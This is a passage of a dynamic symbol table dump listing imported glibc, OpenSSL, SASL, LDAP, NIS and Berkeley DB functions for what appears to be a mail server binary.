65: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_get_verify_result@OPENSSL_3.0.0 (3)
66: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_server_init@SASL2 (7)
67: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ctime@GLIBC_2.2.5 (4)
68: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_use_PrivateKey_file@OPENSSL_3.0.0 (3)
69: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_ctrl@OPENSSL_3.0.0 (3)
70: 0000000000000000 0 FUNC GLOBAL DEFAULT UND seteuid@GLIBC_2.2.5 (4)
71: 0000000000000000 0 FUNC GLOBAL DEFAULT UND rmdir@GLIBC_2.2.5 (4)
72: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_get0_dane_tlsa@OPENSSL_3.0.0 (3)
73: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.2.5 (4)
74: 0000000000000000 0 FUNC GLOBAL DEFAULT UND inet_ntoa@GLIBC_2.2.5 (4)
75: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcmp@GLIBC_2.2.5 (4)
76: 0000000000000000 0 FUNC GLOBAL DEFAULT UND mkdir@GLIBC_2.2.5 (4)
77: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fchmod@GLIBC_2.2.5 (4)
78: 0000000000000000 0 FUNC GLOBAL DEFAULT UND unlink@GLIBC_2.2.5 (4)
79: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strncmp@GLIBC_2.2.5 (4)
80: 0000000000000000 0 FUNC GLOBAL DEFAULT UND regerror@GLIBC_2.2.5 (4)
81: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigprocmask@GLIBC_2.2.5 (4)
82: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_CRL_free@OPENSSL_3.0.0 (5)
83: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ENGINE_ctrl@OPENSSL_3.0.0 (5)
84: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_err2string@OPENLDAP_2.200 (2)
85: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (4)
86: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigismember@GLIBC_2.2.5 (4)
87: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_set_verify_cb@OPENSSL_3.0.0 (5)
88: 0000000000000000 0 FUNC GLOBAL DEFAULT UND OPENSSL_sk_num@OPENSSL_3.0.0 (5)
89: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ENGINE_ctrl_cmd_string@OPENSSL_3.0.0 (5)
90: 0000000000000000 0 FUNC GLOBAL DEFAULT UND TLS_client_method@OPENSSL_3.0.0 (3)
91: 0000000000000000 0 FUNC GLOBAL DEFAULT UND random@GLIBC_2.2.5 (4)
92: 0000000000000000 0 FUNC GLOBAL DEFAULT UND rewinddir@GLIBC_2.2.5 (4)
93: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_get_current_cipher@OPENSSL_3.0.0 (3)
94: 0000000000000000 0 FUNC GLOBAL DEFAULT UND writev@GLIBC_2.2.5 (4)
95: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_free@OPENSSL_3.0.0 (5)
96: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_set_accept_state@OPENSSL_3.0.0 (3)
97: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_set_wfd@OPENSSL_3.0.0 (3)
98: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memset@GLIBC_2.2.5 (4)
99: 0000000000000000 0 FUNC GLOBAL DEFAULT UND abort@GLIBC_2.2.5 (4)
100: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_free@OPENSSL_3.0.0 (3)
101: 0000000000000000 0 FUNC GLOBAL DEFAULT UND statfs@GLIBC_2.2.5 (4)
102: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fcntl@GLIBC_2.2.5 (4)
103: 0000000000000000 0 FUNC GLOBAL DEFAULT UND geteuid@GLIBC_2.2.5 (4)
104: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_set_timeout@OPENSSL_3.0.0 (3)
105: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_state_string_long@OPENSSL_3.0.0 (3)
106: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __sprintf_chk@GLIBC_2.3.4 (10)
107: 0000000000000000 0 FUNC GLOBAL DEFAULT UND shmget@GLIBC_2.2.5 (4)
108: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __snprintf_chk@GLIBC_2.3.4 (10)
109: 0000000000000000 0 FUNC GLOBAL DEFAULT UND rename@GLIBC_2.2.5 (4)
110: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gethostbyname2@GLIBC_2.2.5 (4)
111: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getnameinfo@GLIBC_2.2.5 (4)
112: 0000000000000000 0 FUNC GLOBAL DEFAULT UND EVP_DigestFinal_ex@OPENSSL_3.0.0 (5)
113: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_set_cipher_list@OPENSSL_3.0.0 (3)
114: 0000000000000000 0 FUNC GLOBAL DEFAULT UND BIO_new_fp@OPENSSL_3.0.0 (5)
115: 0000000000000000 0 FUNC GLOBAL DEFAULT UND chown@GLIBC_2.2.5 (4)
116: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sysconf@GLIBC_2.2.5 (4)
117: 0000000000000000 0 FUNC GLOBAL DEFAULT UND BIO_new_file@OPENSSL_3.0.0 (5)
118: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_listmech@SASL2 (7)
119: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ENGINE_by_id@OPENSSL_3.0.0 (5)
120: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_CTX_get_error_depth@OPENSSL_3.0.0 (5)
121: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_client_new@SASL2 (7)
122: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_abandon@OPENLDAP_2.200 (2)
123: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ttyname@GLIBC_2.2.5 (4)
124: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_verify_cert_error_string@OPENSSL_3.0.0 (5)
125: 0000000000000000 0 FUNC GLOBAL DEFAULT UND DH_new@OPENSSL_3.0.0 (5)
126: 0000000000000000 0 FUNC GLOBAL DEFAULT UND nis_freeresult@LIBNSL_1.0 (6)
127: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_NAME_oneline@OPENSSL_3.0.0 (5)
128: 0000000000000000 0 FUNC GLOBAL DEFAULT UND DSA_dup_DH@OPENSSL_3.0.0 (5)
129: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_client_step@SASL2 (7)
130: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getpeername@GLIBC_2.2.5 (4)
131: 0000000000000000 0 FUNC GLOBAL DEFAULT UND open@GLIBC_2.2.5 (4)
132: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_initialize@OPENLDAP_2.200 (2)
133: 0000000000000000 0 FUNC GLOBAL DEFAULT UND localtime@GLIBC_2.2.5 (4)
134: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_CTX_get_error@OPENSSL_3.0.0 (5)
135: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.34 (11)
136: 0000000000000000 0 FUNC GLOBAL DEFAULT UND DH_size@OPENSSL_3.0.0 (5)
137: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_set_flags@OPENSSL_3.0.0 (5)
138: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getsockopt@GLIBC_2.2.5 (4)
139: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_verify_cert@OPENSSL_3.0.0 (5)
140: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setreuid@GLIBC_2.2.5 (4)
141: 0000000000000000 0 FUNC GLOBAL DEFAULT UND EVP_DigestInit_ex@OPENSSL_3.0.0 (5)
142: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtod@GLIBC_2.2.5 (4)
143: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_msgfree@OPENLDAP_2.200 (2)
144: 0000000000000000 0 FUNC GLOBAL DEFAULT UND waitpid@GLIBC_2.2.5 (4)
145: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_first_attribute@OPENLDAP_2.200 (2)
146: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_load_client_CA_file@OPENSSL_3.0.0 (3)
147: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dn_expand@GLIBC_2.34 (11)
148: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getpwnam@GLIBC_2.2.5 (4)
149: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND stdin@GLIBC_2.2.5 (4)
150: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_search@OPENLDAP_2.200 (2)
151: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_get_version@OPENSSL_3.0.0 (3)
152: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __memmove_chk@GLIBC_2.3.4 (10)
153: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcpy@GLIBC_2.14 (12)
154: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setregid@GLIBC_2.2.5 (4)
155: 0000000000000000 0 FUNC GLOBAL DEFAULT UND shmctl@GLIBC_2.2.5 (4)
156: 0000000000000000 0 FUNC GLOBAL DEFAULT UND connect@GLIBC_2.2.5 (4)
157: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_encode@SASL2 (7)
158: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_next_attribute@OPENLDAP_2.200 (2)
159: 0000000000000000 0 FUNC GLOBAL DEFAULT UND CRYPTO_get_ex_new_index@OPENSSL_3.0.0 (5)
160: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ENGINE_load_builtin_engines@OPENSSL_3.0.0 (5)
161: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fsync@GLIBC_2.2.5 (4)
162: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gmtime@GLIBC_2.2.5 (4)
163: 0000000000000000 0 FUNC GLOBAL DEFAULT UND openlog@GLIBC_2.2.5 (4)
164: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __cxa_atexit@GLIBC_2.2.5 (4)
165: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_add_lookup@OPENSSL_3.0.0 (5)
166: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_ctrl@OPENSSL_3.0.0 (3)
167: 0000000000000000 0 FUNC GLOBAL DEFAULT UND stat@GLIBC_2.33 (13)
168: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setrlimit@GLIBC_2.2.5 (4)
169: 0000000000000000 0 FUNC GLOBAL DEFAULT UND chmod@GLIBC_2.2.5 (4)
170: 0000000000000000 0 FUNC GLOBAL DEFAULT UND DH_set0_pqg@OPENSSL_3.0.0 (5)
171: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_decode@SASL2 (7)
172: 0000000000000000 0 FUNC GLOBAL DEFAULT UND time@GLIBC_2.2.5 (4)
173: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getsockname@GLIBC_2.2.5 (4)
174: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dup2@GLIBC_2.2.5 (4)
175: 0000000000000000 0 FUNC GLOBAL DEFAULT UND chroot@GLIBC_2.2.5 (4)
176: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgrnam@GLIBC_2.2.5 (4)
177: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_set_info_callback@OPENSSL_3.0.0 (3)
178: 0000000000000000 0 FUNC GLOBAL DEFAULT UND select@GLIBC_2.2.5 (4)
179: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_set_cipher_list@OPENSSL_3.0.0 (3)
180: 0000000000000000 0 FUNC GLOBAL DEFAULT UND nis_local_directory@LIBNSL_1.0 (6)
181: 0000000000000000 0 FUNC GLOBAL DEFAULT UND closelog@GLIBC_2.2.5 (4)
182: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fclose@GLIBC_2.2.5 (4)
183: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_next_entry@OPENLDAP_2.200 (2)
184: 0000000000000000 0 FUNC GLOBAL DEFAULT UND OpenSSL_version_num@OPENSSL_3.0.0 (5)
185: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_get_issuer_name@OPENSSL_3.0.0 (5)
186: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getlogin@GLIBC_2.2.5 (4)
187: 0000000000000000 0 FUNC GLOBAL DEFAULT UND inet_addr@GLIBC_2.2.5 (4)
188: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_new@OPENSSL_3.0.0 (3)
189: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getusershell@GLIBC_2.2.5 (4)
190: 0000000000000000 0 FUNC GLOBAL DEFAULT UND BIO_free@OPENSSL_3.0.0 (5)
191: 0000000000000000 0 FUNC GLOBAL DEFAULT UND inet_ntop@GLIBC_2.2.5 (4)
192: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fileno@GLIBC_2.2.5 (4)
193: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgid@GLIBC_2.2.5 (4)
194: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_done@SASL2 (7)
195: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_get_subject_name@OPENSSL_3.0.0 (5)
196: 0000000000000000 0 FUNC GLOBAL DEFAULT UND readlink@GLIBC_2.2.5 (4)
197: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_set_client_CA_list@OPENSSL_3.0.0 (3)
198: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putenv@GLIBC_2.2.5 (4)
199: 0000000000000000 0 FUNC GLOBAL DEFAULT UND DSA_new@OPENSSL_3.0.0 (5)
200: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CIPHER_get_name@OPENSSL_3.0.0 (3)
201: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_getprop@SASL2 (7)
202: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_b_loc@GLIBC_2.3 (8)
203: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcasecmp@GLIBC_2.2.5 (4)
204: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_errdetail@SASL2 (7)
205: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_url_parse@OPENLDAP_2.200 (2)
206: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setsid@GLIBC_2.2.5 (4)
207: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __syslog_chk@GLIBC_2.4 (14)
208: 0000000000000000 0 FUNC GLOBAL DEFAULT UND hosts_ctl
209: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strrchr@GLIBC_2.2.5 (4)
210: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fseek@GLIBC_2.2.5 (4)
211: 0000000000000000 0 FUNC GLOBAL DEFAULT UND nice@GLIBC_2.2.5 (4)
212: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memchr@GLIBC_2.2.5 (4)
213: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (14)
214: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_get_ex_data_X509_STORE_CTX_idx@OPENSSL_3.0.0 (3)
215: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getpwent@GLIBC_2.2.5 (4)
216: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_shutdown@OPENSSL_3.0.0 (3)
217: 0000000000000000 0 FUNC GLOBAL DEFAULT UND listen@GLIBC_2.2.5 (4)
218: 0000000000000000 0 FUNC GLOBAL DEFAULT UND EVP_MD_CTX_new@OPENSSL_3.0.0 (5)
219: 0000000000000000 0 FUNC GLOBAL DEFAULT UND endpwent@GLIBC_2.2.5 (4)
220: 0000000000000000 0 FUNC GLOBAL DEFAULT UND regcomp@GLIBC_2.2.5 (4)
221: 0000000000000000 0 FUNC GLOBAL DEFAULT UND db_create@DB5_3 (15)
222: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_get_dn@OPENLDAP_2.200 (2)
223: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getpwuid@GLIBC_2.2.5 (4)
224: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fopen@GLIBC_2.2.5 (4)
225: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_set_ciphersuites@OPENSSL_3.0.0 (3)
226: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_NAME_get_text_by_NID@OPENSSL_3.0.0 (5)
227: 0000000000000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.2.5 (4)
228: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setpwent@GLIBC_2.2.5 (4)
229: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (4)
230: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getenv@GLIBC_2.2.5 (4)
231: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_server_new@SASL2 (7)
232: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_use_certificate_file@OPENSSL_3.0.0 (3)
233: 0000000000000000 0 FUNC GLOBAL DEFAULT UND regexec@GLIBC_2.3.4 (10)
234: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_get_ext_d2i@OPENSSL_3.0.0 (5)
235: 0000000000000000 0 FUNC GLOBAL DEFAULT UND res_query@GLIBC_2.34 (11)
236: 0000000000000000 0 FUNC GLOBAL DEFAULT UND wait@GLIBC_2.2.5 (4)
237: 0000000000000000 0 FUNC GLOBAL DEFAULT UND initgroups@GLIBC_2.2.5 (4)
238: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigemptyset@GLIBC_2.2.5 (4)
239: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_load_verify_locations@OPENSSL_3.0.0 (3)
240: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigaction@GLIBC_2.2.5 (4)
241: 0000000000000000 0 FUNC GLOBAL DEFAULT UND PEM_read_bio_X509_CRL@OPENSSL_3.0.0 (5)
242: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_digest@OPENSSL_3.0.0 (5)
243: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_CTX_get_ex_data@OPENSSL_3.0.0 (5)
244: 0000000000000000 0 FUNC GLOBAL DEFAULT UND PEM_read_bio_DHparams@OPENSSL_3.0.0 (5)
245: 0000000000000000 0 FUNC GLOBAL DEFAULT UND OPENSSL_sk_value@OPENSSL_3.0.0 (5)
246: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_set_cert_verify_callback@OPENSSL_3.0.0 (3)
247: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_set_rfd@OPENSSL_3.0.0 (3)
248: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ERR_get_error@OPENSSL_3.0.0 (5)
249: 0000000000000000 0 FUNC GLOBAL DEFAULT UND EVP_md5@OPENSSL_3.0.0 (5)
250: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_get_X509_PUBKEY@OPENSSL_3.0.0 (5)
251: 0000000000000000 0 FUNC GLOBAL DEFAULT UND malloc@GLIBC_2.2.5 (4)
252: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_encode64@SASL2 (7)
253: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND stderr@GLIBC_2.2.5 (4)
254: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_use_certificate_file@OPENSSL_3.0.0 (3)
255: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_client_init@SASL2 (7)
256: 0000000000000000 0 FUNC GLOBAL DEFAULT UND pipe@GLIBC_2.2.5 (4)
257: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gethostbyaddr@GLIBC_2.2.5 (4)
258: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_set_ciphersuites@OPENSSL_3.0.0 (3)
259: 0000000000000000 0 FUNC GLOBAL DEFAULT UND BN_free@OPENSSL_3.0.0 (5)
260: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_dispose@SASL2 (7)
261: 0000000000000000 0 FUNC GLOBAL DEFAULT UND unsetenv@GLIBC_2.2.5 (4)
262: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ftruncate@GLIBC_2.2.5 (4)
263: 0000000000000000 0 FUNC GLOBAL DEFAULT UND shmat@GLIBC_2.2.5 (4)
264: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __res_state@GLIBC_2.2.5 (4)
265: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcmp@GLIBC_2.2.5 (4)
266: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getppid@GLIBC_2.2.5 (4)
267: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtol@GLIBC_2.2.5 (4)
268: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_connect@OPENSSL_3.0.0 (3)
269: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ioctl@GLIBC_2.2.5 (4)
270: 0000000000000000 0 FUNC GLOBAL DEFAULT UND db_version@DB5_3 (15)
271: 0000000000000000 0 FUNC GLOBAL DEFAULT UND kill@GLIBC_2.2.5 (4)
272: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_unbind@OPENLDAP_2.200 (2)
273: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_free_urldesc@OPENLDAP_2.200 (2)
274: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __sigsetjmp@GLIBC_2.2.5 (4)
275: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_new@OPENSSL_3.0.0 (3)
276: 0000000000000000 0 FUNC GLOBAL DEFAULT UND rresvport@GLIBC_2.2.5 (4)
277: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 (4)
278: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_dane_enable@OPENSSL_3.0.0 (3)
279: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_CTX_set_error@OPENSSL_3.0.0 (5)
280: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getpid@GLIBC_2.2.5 (4)
281: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_alert_type_string_long@OPENSSL_3.0.0 (3)
282: 0000000000000000 0 FUNC GLOBAL DEFAULT UND chdir@GLIBC_2.2.5 (4)
283: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fread@GLIBC_2.2.5 (4)
284: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND in6addr_any@GLIBC_2.2.5 (4)
285: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gethostname@GLIBC_2.2.5 (4)
286: 0000000000000000 0 FUNC GLOBAL DEFAULT UND opendir@GLIBC_2.2.5 (4)
287: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dup@GLIBC_2.2.5 (4)
288: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sigaddset@GLIBC_2.2.5 (4)
289: 0000000000000000 0 FUNC GLOBAL DEFAULT UND readdir@GLIBC_2.2.5 (4)
290: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setusershell@GLIBC_2.2.5 (4)
291: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __h_errno_location@GLIBC_2.2.5 (4)
292: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.2.5 (4)
293: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __fdelt_chk@GLIBC_2.15 (16)
294: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_add_crl@OPENSSL_3.0.0 (5)
295: 0000000000000000 0 FUNC GLOBAL DEFAULT UND closedir@GLIBC_2.2.5 (4)
296: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_set_session_id_context@OPENSSL_3.0.0 (3)
297: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setgroups@GLIBC_2.2.5 (4)
298: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gettimeofday@GLIBC_2.2.5 (4)
299: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_dane_tlsa_add@OPENSSL_3.0.0 (3)
300: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memmove@GLIBC_2.2.5 (4)
301: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _exit@GLIBC_2.2.5 (4)
302: 0000000000000000 0 FUNC GLOBAL DEFAULT UND res_querydomain@GLIBC_2.34 (11)
303: 0000000000000000 0 FUNC GLOBAL DEFAULT UND realloc@GLIBC_2.2.5 (4)
304: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_check_private_key@OPENSSL_3.0.0 (3)
305: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_memfree@OPENLDAP_2.200 (2)
306: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getdtablesize@GLIBC_2.2.5 (4)
307: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND ber_pvt_opt_on@OPENLDAP_2.200 (17)
308: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __res_init@GLIBC_2.2.5 (4)
309: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_value_free@OPENLDAP_2.200 (2)
310: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_CTX_get_current_cert@OPENSSL_3.0.0 (5)
311: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgrgid@GLIBC_2.2.5 (4)
312: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_dane_set_flags@OPENSSL_3.0.0 (3)
313: 0000000000000000 0 FUNC GLOBAL DEFAULT UND access@GLIBC_2.2.5 (4)
314: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fstat@GLIBC_2.33 (13)
315: 0000000000000000 0 FUNC GLOBAL DEFAULT UND BIO_new@OPENSSL_3.0.0 (5)
316: 0000000000000000 0 FUNC GLOBAL DEFAULT UND DSA_free@OPENSSL_3.0.0 (5)
317: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_dane_enable@OPENSSL_3.0.0 (3)
318: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND environ@GLIBC_2.2.5 (4)
319: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fchown@GLIBC_2.2.5 (4)
320: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_set_options@OPENSSL_3.0.0 (3)
321: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ENGINE_set_default@OPENSSL_3.0.0 (5)
322: 0000000000000000 0 FUNC GLOBAL DEFAULT UND RAND_seed@OPENSSL_3.0.0 (5)
323: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __memcpy_chk@GLIBC_2.3.4 (10)
324: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_get_rfd@OPENSSL_3.0.0 (3)
325: 0000000000000000 0 FUNC GLOBAL DEFAULT UND execve@GLIBC_2.2.5 (4)
326: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_COMP_get_compression_methods@OPENSSL_3.0.0 (3)
327: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_result@OPENLDAP_2.200 (2)
328: 0000000000000000 0 FUNC GLOBAL DEFAULT UND isatty@GLIBC_2.2.5 (4)
329: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTable
330: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strpbrk@GLIBC_2.2.5 (4)
331: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setgid@GLIBC_2.2.5 (4)
332: 0000000000000000 0 FUNC GLOBAL DEFAULT UND umask@GLIBC_2.2.5 (4)
333: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setsockopt@GLIBC_2.2.5 (4)
334: 0000000000000000 0 FUNC GLOBAL DEFAULT UND EVP_MD_CTX_free@OPENSSL_3.0.0 (5)
335: 0000000000000000 0 FUNC GLOBAL DEFAULT UND remove@GLIBC_2.2.5 (4)
336: 0000000000000000 0 FUNC GLOBAL DEFAULT UND EC_KEY_free@OPENSSL_3.0.0 (5)
337: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_parse_result@OPENLDAP_2.200 (2)
338: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ASN1_STRING_get0_data@OPENSSL_3.0.0 (5)
339: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_get1_peer_certificate@OPENSSL_3.0.0 (3)
340: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dn_skipname@GLIBC_2.34 (11)
341: 0000000000000000 0 FUNC GLOBAL DEFAULT UND nis_lookup@LIBNSL_1.0 (6)
342: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ASN1_STRING_length@OPENSSL_3.0.0 (5)
343: 0000000000000000 0 FUNC GLOBAL DEFAULT UND shmdt@GLIBC_2.2.5 (4)
344: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_get_cert_store@OPENSSL_3.0.0 (3)
